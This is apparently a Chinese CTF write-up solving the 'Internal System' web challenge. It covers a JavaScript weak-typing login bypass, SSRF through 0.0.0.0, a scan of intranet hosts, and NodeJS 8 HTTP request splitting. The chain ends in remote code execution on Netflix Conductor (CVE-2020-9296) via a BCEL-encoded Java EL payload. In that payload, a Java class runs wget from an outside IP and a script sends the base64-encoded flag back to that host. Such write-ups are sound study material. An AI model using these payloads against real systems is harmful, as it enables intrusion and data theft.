[toc]

前言

前段时间让炒币弄的没心思学习,现在全赔光了,终于可以安下心了好好学学习了……

今天复现了前段时间虎符杯中 “Internal System” 这道 Web 题,题目质量外瑞古德,做完之后神清气爽,所以在此一记!主要考了 NodeJS 中的两个知识点:

  • JS 弱类型登录绕过
  • NodeJS 8 HTTP 拆分实现的 SSRF 攻击

解题

进入题目,是一个很炫酷的登录页面:

image-20210504135104748

访问 /source 路由得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
const express = require('express')
const router = express.Router()

const axios = require('axios')

const isIp = require('is-ip')
const IP = require('ip')

const UrlParse = require('url-parse')

const {sha256, hint} = require('./utils')

const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'

const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin')) // 计算 admin 的哈希

const port = process.env.PORT || 3000 // 这个 NodeJS 服务默认是开在 3000 端口

function formatResopnse(response) {
if(typeof(response) !== typeof('')) {
return JSON.stringify(response) // 如果 response 不等于空, 则将其转换为 JSON 的格式并返回
} else {
return response
}
}

function SSRF_WAF(url) {
const host = new UrlParse(url).hostname.replace(/\[|\]/g, '') // 将 hostname 中的 [ ] 替换为空

return isIp(host) && IP.isPublic(host) // hostname必须是ip, 并且如果是公网IP则返回true, 防止 SSRF
}

function FLAG_WAF(url) {
const pathname = new UrlParse(url).pathname // pathname 中不能有/flag
return !pathname.startsWith('/flag')
}

function OTHER_WAF(url) {
return true;
}

const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]

router.get('/', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) { // 如果没设置 session.admin 则返回登录页面
res.redirect('/login')
} else {
res.redirect('/index')
}
})

router.get('/login', (req, res, next) => {
const {username, password} = req.query;

if(!username || !password || username === password || username.length === password.length || username === 'admin') {
res.render('login') // 主要判断是否输入,以及所输入的用户名和密码是否一致,以及用户名是否为 admin,如果是的话,直接拦截
} else { // 可以设 username=['admin']&password=admin 绕过
const hash = sha256(sha256(salt + username) + sha256(salt + password))

req.session.admin = hash === adminHash // session.admin 等于 "hash === adminHash" 的判断结果

res.redirect('/index') // 重定向到 /index 路由
}
})

router.get('/index', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
} else {
res.render('index', {admin: req.session.admin, network: JSON.stringify(require('os').networkInterfaces())})
}
})

router.get('/proxy', async(req, res, next) => {
if(!req.session.admin) { // 必须用admin访问
return res.redirect('/index')
}
const url = decodeURI(req.query.url); // 进行一次 URL 解码

console.log(url)

const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)

if(!status) { // status 必须为 true
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})

router.post('/proxy', async(req, res, next) => {
if(!req.session.admin) { // // 必须用admin访问
return res.redirect('/index')
}
// test url
// not implemented here
const url = "https://postman-echo.com/post"
await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', "Something needs to be implemented")
})


router.all('/search', async (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){ // 必须要匹配到 127.0.0.1, 即必须在本地访问 /search 这个路由
return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
}

const result = {title: 'Search Success', content: ''}

const method = req.method.toLowerCase() // 请求方式
const url = decodeURI(req.query.url) // 再进行二次 URL 解码
const data = req.body

try {
if(method == 'get') {
const response = await axios.get(url)
result.content = formatResopnse(response.data)
} else if(method == 'post') {
const response = await axios.post(url, data)
result.content = formatResopnse(response.data)
} else {
result.title = 'Error'
result.content = 'Unsupported Method'
}
} catch(error) {
result.title = 'Error'
result.content = error.message
}

return res.json(result)
})

router.get('/source', (req, res, next)=>{
res.sendFile( __dirname + "/" + "index.js");
})

router.get('/flag', (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){ // 必须要匹配到 127.0.0.1, 即必须在本地访问 /flag 这个路由
return res.send({title: 'Error', content: 'No Flag For You!'})
}
return res.json({hint: hint})
})

module.exports = router

代码逻辑比较简单,不做过多描述。

JS 弱类型登录绕过

首先我们要做的是登录,登录的处理逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
router.get('/login', (req, res, next) => {
const {username, password} = req.query;

if(!username || !password || username === password || username.length === password.length || username === 'admin') { // 主要判断是否输入,以及所输入的用户名和密码是否一致,以及用户名是否为 admin,如果是的话,直接拦截
res.render('login')
} else {
const hash = sha256(sha256(salt + username) + sha256(salt + password)) // 组合成 hash

req.session.admin = hash === adminHash // 与管理员 hash 比较,对上了就给 session 里这个东西赋值真

res.redirect('/index')
}
})

这里用到了 JavaScript 弱类型的特性。即 JavaScript 的数组在使用加号拼接的时候最终还是会得到一个字符串(string),于是不会影响 sha256 的处理:

image-20210504141503500

看完之后你可能就明白了,我们如下构造 Payload 即可绕过:

1
/login?username[]=admin&password=admin

登录绕过后,就能成功以管理员身份进入,并来到以下页面:

image-20210504141652920

这是一个代理器页面,通过这个页面我们可以直接访问到外网的页面:

image-20210504142241871

接下来就是有趣的 SSRF 了……

SSRF 拿到 Hint

这里提交的 URL 会调用 GET /proxy 接口,再来看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
......

function SSRF_WAF(url) {
const host = new UrlParse(url).hostname.replace(/\[|\]/g, '') // 将 hostname 中的 [ ] 替换为空

return isIp(host) && IP.isPublic(host) // hostname必须是ip, 并且如果是公网IP则返回true, 防止 SSRF
}

function FLAG_WAF(url) {
const pathname = new UrlParse(url).pathname // pathname 中不能有/flag
return !pathname.startsWith('/flag')
}

function OTHER_WAF(url) {
return true;
}

const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]

......

router.get('/proxy', async(req, res, next) => {
if(!req.session.admin) { // 必须用admin访问
return res.redirect('/index')
}
const url = decodeURI(req.query.url); // 进行一次 url 解码

console.log(url)

const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)

if(!status) { // status 必须为 true
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})

router.post('/proxy', async(req, res, next) => {
if(!req.session.admin) { // // 必须用admin访问
return res.redirect('/index')
}
// test url
// not implemented here
const url = "https://postman-echo.com/post"
await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', "Something needs to be implemented")
})

这里前面几个 WAF 对 /proxy 路由做了限制,要求输入的 URL Host 为 IP 且为公网 IP,且目录不以 /flag 开头。那么就要想办法绕过一下,最简单的办法,就是尝试一下 0.0.0.0,请求时如果用这个地址,会默认访问到本机上。只要是本机监听的端口,都会被请求到。由于这个 NodeJS 服务默认是开在 3000 端口,所以我们输入 http://0.0.0.0:3000,成功了:

image-20210504142902823

那我们便可以成功进行 SSRF 了,像那些只限制本地访问的接口,比如 /search,就能访问了。并且,由于题目对 /search 路由做的限制仅限于从本地访问,那我们的思路便是通过 /proxy 代理路由去访问一些真从从本地访问的路由,比如 /search 路由,然后通过这个 /search 路由去进行 SSRF 去访问 /flag 路由:

1
/proxy?url=http://0.0.0.0:3000/search?url=http://127.0.0.1:3000/flag

image-20210504143709241

如上图所示,成功访问 /flag 路由,并得到了 Hint:

1
{"title":"Search Success","content":"{\"hint\":\"someone else also deploy a netflix conductor server in Intranet?\"}"}

提示我们在内网中有部署了一个 Netflix Conductor Server。Netflix Conductor 是 Netflix 开发的一款工作流编排的引擎,在 2.25.3 及以下版本中存在一个任意代码执行(CVE-2020-9296)。漏洞成因在于自定义约束冲突时的错误信息支持了 Java EL 表达式,而且这部分错误信息是攻击者可控的,所以攻击者可以通过注入 Java EL 表达式进行任意代码执行。

那么既然要利用该漏洞就要先在内网中找到这个 Netflix Conductor Server,网上找到它的默认端口为 8080,那么我们来探测一下内网,找一下哪台机器是那个服务器:

1
2
3
4
5
/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.41.9:8080
/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.41.10:8080
/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.41.11:8080
......
/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.41.14:8080

在测试到 10.0.41.14 的时候有了回应:

image-20210504144808905

是个 Swagger UI,也就是 Netflix Conductor 的文档页,后面就是 Netflix Conductor Server 了。目标找到了,就是这个 10.0.41.14。下面我们就开始尝试利用 Netflix Conductor 的那个漏洞,具体的利用过程请看:https://xz.aliyun.com/t/7889#toc-2

Netflix Conductor 的这个漏洞出在 /api/metadata/taskdefs 上,需要 POST 一个 JSON 过去,里面含有恶意的 BCEL 编码,可以造成 RCE。

那我们首先得准备 BCEL 编码。我们先在本地创建一个恶意的 Evil.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Evil
{
public Evil() {
try {
Runtime.getRuntime().exec("wget http://47.101.57.72:2333/shell.txt -O /tmp/shell");
}
catch (Exception ex) {
ex.printStackTrace();
}
}

public static void main(final String[] array) {
}
}

这里为什么不反弹 Shell 呢?因为因为目标环境中没有Bash,也没有curl,所以我们的思路是让目标主机使用 wget 下载一个写入了 Shell 命令的文件 shell.txt,然后再次发送 Payload 让他执行这个 shell.txt 文件。

shell.txt 位于我们的 VPS 上,里面的内容为:

1
2
#!/bin/sh
wget http://47.101.57.72:2333/?a=`cat /flag|base64`

然后使用 javac 将 Evil.java 编译,然后再使用 BCELCodeman 这个工具将其转换为 BCEL 编码:

1
2
javac Evil.java    // 编译Evil.java
java -jar BCELCodeman.jar e Evil.class // 转换为 BCEL 编码

image-20210504222714940

得到如下 BCEL 编码:

1
$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$A

然后把它给组合到攻击 Netflix Conductor 所使用的 Json 里:

1
[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$A').newInstance().class}","ownerEmail":"test@example.org","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]

最后是我们攻击 Netflix Conductor 所使用的 POST 请求:

1
2
3
4
5
6
POST /search?url=http://10.0.99.14:8080/api/metadata/taskdefs HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Content-Length:1535

[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$A').newInstance().class}","ownerEmail":"test@example.org","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]

加下来要考虑的就是如何将这个 POST 请求发送出去了。

NodeJS 8 HTTP 拆分实现的 SSRF 攻击

我们在源码的开头发现了提示:

image-20210504152413789

提示我们当前为 NodeJS 8,而该版本的 NodeJS 正好可以通过损坏的 Unicode 编码实现 HTTP 拆分,从而进行 SSRF 攻击,详情请看:

编写如下脚本生成符合 NodeJS 8 HTTP 拆分攻击要求的 Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
payload = ''' HTTP/1.1

POST /search?url=http://10.0.99.14:8080/api/metadata/taskdefs HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Content-Length:1535

[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$A').newInstance().class}","ownerEmail":"test@example.org","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

payload = payload.replace('\r\n', '\u010d\u010a') \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
.replace('`', '\u0127') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('{', '\u017b') \
.replace('}', '\u017d')

print(payload)

# 输出: ĠHTTP/1.1čĊčĊPOSTĠ/search?url=http://10.0.99.14:8080/api/metadata/taskdefsĠHTTP/1.1čĊHost:Ġ127.0.0.1:3000čĊContent-Type:Ġapplication/jsončĊContent-Length:1535čĊčĊśŻĢnameĢ:Ģ$Żਧ1ਧ.getClass().forName(ਧcom.sun.org.apache.bcel.internal.util.ClassLoaderਧ).newInstance().loadClass(ਧ$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$Aਧ).newInstance().classŽĢ,ĢownerEmailĢ:Ģtest@example.orgĢ,ĢretryCountĢ:Ģ3Ģ,ĢtimeoutSecondsĢ:Ģ1200Ģ,ĢinputKeysĢ:śĢsourceRequestIdĢ,ĢqcElementTypeĢŝ,ĢoutputKeysĢ:śĢstateĢ,ĢskippedĢ,ĢresultĢŝ,ĢtimeoutPolicyĢ:ĢTIME_OUT_WFĢ,ĢretryLogicĢ:ĢFIXEDĢ,ĢretryDelaySecondsĢ:Ģ600Ģ,ĢresponseTimeoutSecondsĢ:Ģ3600Ģ,ĢconcurrentExecLimitĢ:Ģ100Ģ,ĢrateLimitFrequencyInSecondsĢ:Ģ60Ģ,ĢrateLimitPerFrequencyĢ:Ģ50Ģ,ĢisolationgroupIdĢ:ĢmyIsolationGroupIdĢŽŝčĊčĊGETĠ/ĠHTTP/1.1čĊtest:

然后需要将上面生成的 Payload 进行三次 URL 编码,因为我们的 GET 请求会解码一次,进入 /proxy 路由又会解码一次,最后进行 /search 路由进行攻击又会解码一次。

先来测试一下,在自己 VPS 上开个监听 3000 端口,然后执行:

1
/proxy?url=http://47.101.57.72:3000/%2525C4%2525A0HTTP%25252F1.1%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0%25252Fsearch%25253Furl%25253Dhttp%25253A%25252F%25252F10.0.99.14%25253A8080%25252Fapi%25252Fmetadata%25252Ftaskdefs%......T%2525C4%2525A0%25252F%2525C4%2525A0HTTP%25252F1.1%2525C4%25258D%2525C4%25258Atest%25253A

image-20210504223248408

如上图所示,成功发送了一个POST请求,也就是我们的攻击请求。

开始攻击

首先在自己的 VPS 上存在 shell.txt 的目录中用 Python 开启一个 HTTP 服务:

image-20210504223509431

然后执行 Payload:

1
/proxy?url=http://0.0.0.0:3000/%2525C4%2525A0HTTP%25252F1.1%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0%25252Fsearch%25253Furl%25253Dhttp%25253A%25252F%25252F10.0.99.14%25253A8080%25252Fapi%25252Fmetadata%25252Ftaskdefs%......T%2525C4%2525A0%25252F%2525C4%2525A0HTTP%25252F1.1%2525C4%25258D%2525C4%25258Atest%25253A

image-20210504223637451

如上图所示,成功控制目标主机下载了我们的 shell.txt 文件,然后再次编写一个 Evil.java 用于执行刚才下载下来的 shell.txt 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Evil
{
public Evil() {
try {
Runtime.getRuntime().exec("sh /tmp/shell");
}
catch (Exception ex) {
ex.printStackTrace();
}
}

public static void main(final String[] array) {
}
}

重新编译,重新编码,重新构造并发送 Payload:

image-20210504224827444

如上图所示,成功执行了 /tmp/shell 并带出了经过 base64 编码后的 flag:

image-20210504224927306

Ending……